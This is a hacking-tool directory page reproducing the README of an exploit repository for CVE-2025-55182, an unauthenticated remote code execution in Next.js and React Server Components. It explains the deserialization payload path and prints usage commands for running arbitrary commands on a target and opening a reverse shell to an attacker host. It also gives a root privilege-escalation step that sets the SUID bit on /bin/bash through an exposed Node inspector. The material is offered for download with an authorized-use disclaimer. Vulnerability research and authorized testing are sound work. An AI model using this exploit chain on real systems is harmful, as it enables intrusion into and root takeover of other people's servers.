Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182 — Standalone exploit for CVE-2025-55182 achieving unauthenticated RCE in Next.js App Router via React Server Components Flight deserialization, with reverse shell and Node.js V8 Inspector privilege escalation helper. | Kitploit
Tools/GitHubGitHub/r3vpwnx/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubr3vpwnx/cve-2025-55182

CVE-2025-55182

Standalone exploit for CVE-2025-55182 achieving unauthenticated RCE in Next.js App Router via React Server Components Flight deserialization, with reverse shell and Node.js V8 Inspector privilege escalation helper.

View Repository
3619 days agoNot yet reviewed
Share

CVE-2025-55182 - React2Shell: unauthenticated RCE in React Server Components (PoC)

Proof-of-concept chain for CVE-2025-55182 ("React2Shell"), an unauthenticated remote code execution in Next.js App Router applications that use React Server Components. A crafted RSC Flight payload to the server-action endpoint is deserialized unsafely and reaches child_process.execSync, giving code execution in the Node.js server process.

This repository bundles two pieces:

  • react2shell-poc.py - the RSC Flight RCE itself (vendored, see Credits).
  • cdp_privesc.py - an original local privilege-escalation helper that attaches to a root-owned Node.js --inspect debugger and runs code as root.

Affected versions

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: 15.0.0 - 15.0.4, 15.1.0 - 15.1.8 (and adjacent App Router builds that enable React Server Components)

See the NVD entry and the Tenable write-up for the authoritative affected-range list; test the exact build in front of you.

Root cause

RSC Flight payload deserialization accepts attacker-controlled references that traverse the prototype chain ($1:__proto__:then, $1:constructor:constructor) to reach the Function constructor, and an injected _response._prefix string is evaluated server-side. The injected JavaScript calls process.mainModule.require('child_process').execSync(...), so a single POST to a server-action route runs commands as the Node process, unauthenticated.

Requirements

python3 -m pip install requests

Reproduction

react2shell-poc.py - RSC RCE (vendored, see Credits)

python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost <LHOST> --lport 4444
FlagDescription
-t, --targetTarget URL, e.g. http://TARGET:3000
-c, --commandCommand to run (output returned via error-based exfil)
--checkOnly check whether the target looks vulnerable
--blindBlind RCE, no output capture
--interactivePseudo-shell with output
--revshellAttempt a reverse shell (requires --lhost)
--lhost / --lportAttacker host/port for callback or reverse shell

Default mode is error-based exfiltration: command output is returned in the NEXT_REDIRECT error digest, so no outbound connection from the target is required.

cdp_privesc.py - local privilege escalation via a root Node --inspect debugger

This is a local step, not a network exploit against the web target. It attaches to a root-owned Node.js inspector listening on 127.0.0.1:9229 and runs code as root. If the inspector is only on loopback, forward it first:

ssh -L 9229:127.0.0.1:9229 user@target

Then run (the argument is the shell command; it defaults to chmod +s /bin/bash; id):

python3 cdp_privesc.py                         # default: SUID /bin/bash, then run `id`
python3 cdp_privesc.py 'chmod +s /bin/bash'    # explicit command
bash -p                                        # root shell via the SUID bash
InputDescription
argv[1]Shell command to run as root (default chmod +s /bin/bash; id)

It connects to 127.0.0.1:9229, opens the Chrome DevTools Protocol WebSocket, and calls Runtime.evaluate with global.process.mainModule.require('child_process').execSync(<cmd>).

Impact

Unauthenticated remote code execution in the Node.js server process via react2shell-poc.py. Where a root-owned Node inspector is also exposed, cdp_privesc.py escalates local access to root.

Severity

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) for the unauthenticated RSC RCE, per the NVD entry for CVE-2025-55182 (confirm against the current NVD vector).

CWE-502 (deserialization of untrusted data) leading to CWE-94 (code injection).

Credits

react2shell-poc.py is p3ta00's public CVE-2025-55182 PoC, vendored unchanged from https://github.com/p3ta00/react2shell-poc for a self-contained chain. All credit for that exploit belongs to the upstream author. cdp_privesc.py (the Node --inspect local privesc) is original work.

References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • https://github.com/p3ta00/react2shell-poc
  • https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce

Disclaimer

For authorized security testing and education only. Use this only against systems you own or have explicit written permission to test. The author accepts no liability for misuse.

Author

Dilanka Kaushal Hewage (r3vpwnx)

  • Site: https://r3vpwnx.space
  • Contact: [email protected]

License

MIT - see LICENSE. Note that react2shell-poc.py is vendored from a third party (p3ta00); its original license and authorship apply to that file.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →